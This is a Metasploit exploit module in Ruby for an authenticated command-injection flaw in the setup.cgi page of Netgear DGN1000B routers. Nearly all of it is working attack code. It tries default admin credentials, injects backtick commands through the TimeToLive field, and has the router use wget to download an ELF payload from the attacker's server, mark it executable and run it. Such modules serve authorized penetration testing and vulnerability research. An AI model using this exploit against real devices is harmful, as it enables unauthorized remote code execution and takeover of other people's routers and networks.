##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Netgear DGN1000B setup.cgi Remote Command Execution',
			'Description' => %q{
					Some Netgear Routers are vulnerable to authenticated OS Command injection. The
				vulnerability exists in the web interface, specifically in the setup.cgi component,
				when handling the TimeToLive parameter. Default credentials are always a good
				starting point, admin/admin or admin/password could be a first try. Since it is a
				blind os command injection vulnerability, there is no output for the executed
				command when using the cmd generic payload. A ping command against a controlled
				system could be used for testing purposes.
			},
			'Author'      =>
				[
					'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
					'juan vazquez' # minor help with msf module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'BID', '57836' ],
					[ 'EDB', '24464' ],
					[ 'OSVDB', '89985' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-005' ]
				],
			'DisclosureDate' => 'Feb 06 2013',
			'Privileged'     => true,
			'Platform'       => ['linux','unix'],
			'Payload'        =>
				{
					'DisableNops' => true
				},
			'Targets'        =>
				[
					[ 'CMD',
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Linux mipsbe Payload',
						{
						'Arch' => ARCH_MIPSBE,
						'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget'  => 1,
			))

		register_options(
			[
				OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
				OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
				OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
			], self.class)
	end


	def request(cmd,user,pass,uri)
		begin
			res = send_request_cgi(
				{
					'uri'	=> uri,
					'method' => 'POST',
					'authorization' => basic_auth(user,pass),
					'vars_post' => {
						"UPnP" => "UPnP",
						"AdverTime" => rand_text_numeric(2),
						"TimeToLive" => "`#{cmd}`",
						"save" => "+Anwenden",
						"todo" => "save",
						"this_file" => "upnp.htm",
						"next_file" => "upnp.htm",
						"h_UPnP" => "enable",
						"hiddenAdverTime" => rand_text_numeric(2),
						"hiddenTimeToLive" => rand_text_numeric(1)
						}
				})
			return res
		rescue ::Rex::ConnectionError
			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
			return nil
		end
	end

	def exploit
		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
		uri = '/setup.cgi'
		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		rhost = datastore['RHOST']
		rport = datastore['RPORT']

		#
		# testing Login
		#
		print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
		begin
			res = send_request_cgi({
				'uri'     => uri,
				'method'  => 'GET',
				'authorization' => basic_auth(user,pass)
			})
			if res.nil? or res.code == 404
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
			if [200, 301, 302].include?(res.code)
				print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
			else
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
		end

		if target.name =~ /CMD/
			if not (datastore['CMD'])
				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
			end
			cmd = payload.encoded
			res = request(cmd,user,pass,uri)
			if (!res)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
			else
				print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
			end
			return
		end

		#thx to Juan for his awesome work on the mipsbe elf support
		@pl = generate_payload_exe
		@elf_sent = false

		#
		# start our server
		#
		resource_uri = '/' + downfile

		if (datastore['DOWNHOST'])
			service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
		else
			#do not use SSL
			if datastore['SSL']
				ssl_restore = true
				datastore['SSL'] = false
			end

			#we use SRVHOST as download IP for the coming wget command.
			#SRVHOST needs a real IP address of our download host
			if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
				srv_host = Rex::Socket.source_address(rhost)
			else
				srv_host = datastore['SRVHOST']
			end

			service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
			print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
			start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
				'Path' => resource_uri
			}})

			datastore['SSL'] = true if ssl_restore
		end

		#
		# download payload
		#
		print_status("#{rhost}:#{rport} - Asking the Netgear device to download #{service_url}")
		#this filename is used to store the payload on the device
		filename = rand_text_alpha_lower(8)

		#not working if we send all command together -> lets take three requests
		cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		# wait for payload download
		if (datastore['DOWNHOST'])
			print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload")
			select(nil, nil, nil, datastore['HTTP_DELAY'])
		else
			wait_linux_payload
		end
		register_file_for_cleanup("/tmp/#{filename}")

		#
		# chmod
		#
		cmd = "chmod 777 /tmp/#{filename}"
		print_status("#{rhost}:#{rport} - Asking the Netgear device to chmod #{downfile}")
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		#
		# execute
		#
		cmd = "/tmp/#{filename}"
		print_status("#{rhost}:#{rport} - Asking the Netgear device to execute #{downfile}")
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

	end

	# Handle incoming requests from the server
	def on_request_uri(cli, request)
		#print_status("on_request_uri called: #{request.inspect}")
		if (not @pl)
			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
			return
		end
		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
		@elf_sent = true
		send_response(cli, @pl)
	end

	# wait for the data to be sent
	def wait_linux_payload
		print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

		waited = 0
		while (not @elf_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['HTTP_DELAY'])
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
			end
		end
	end

end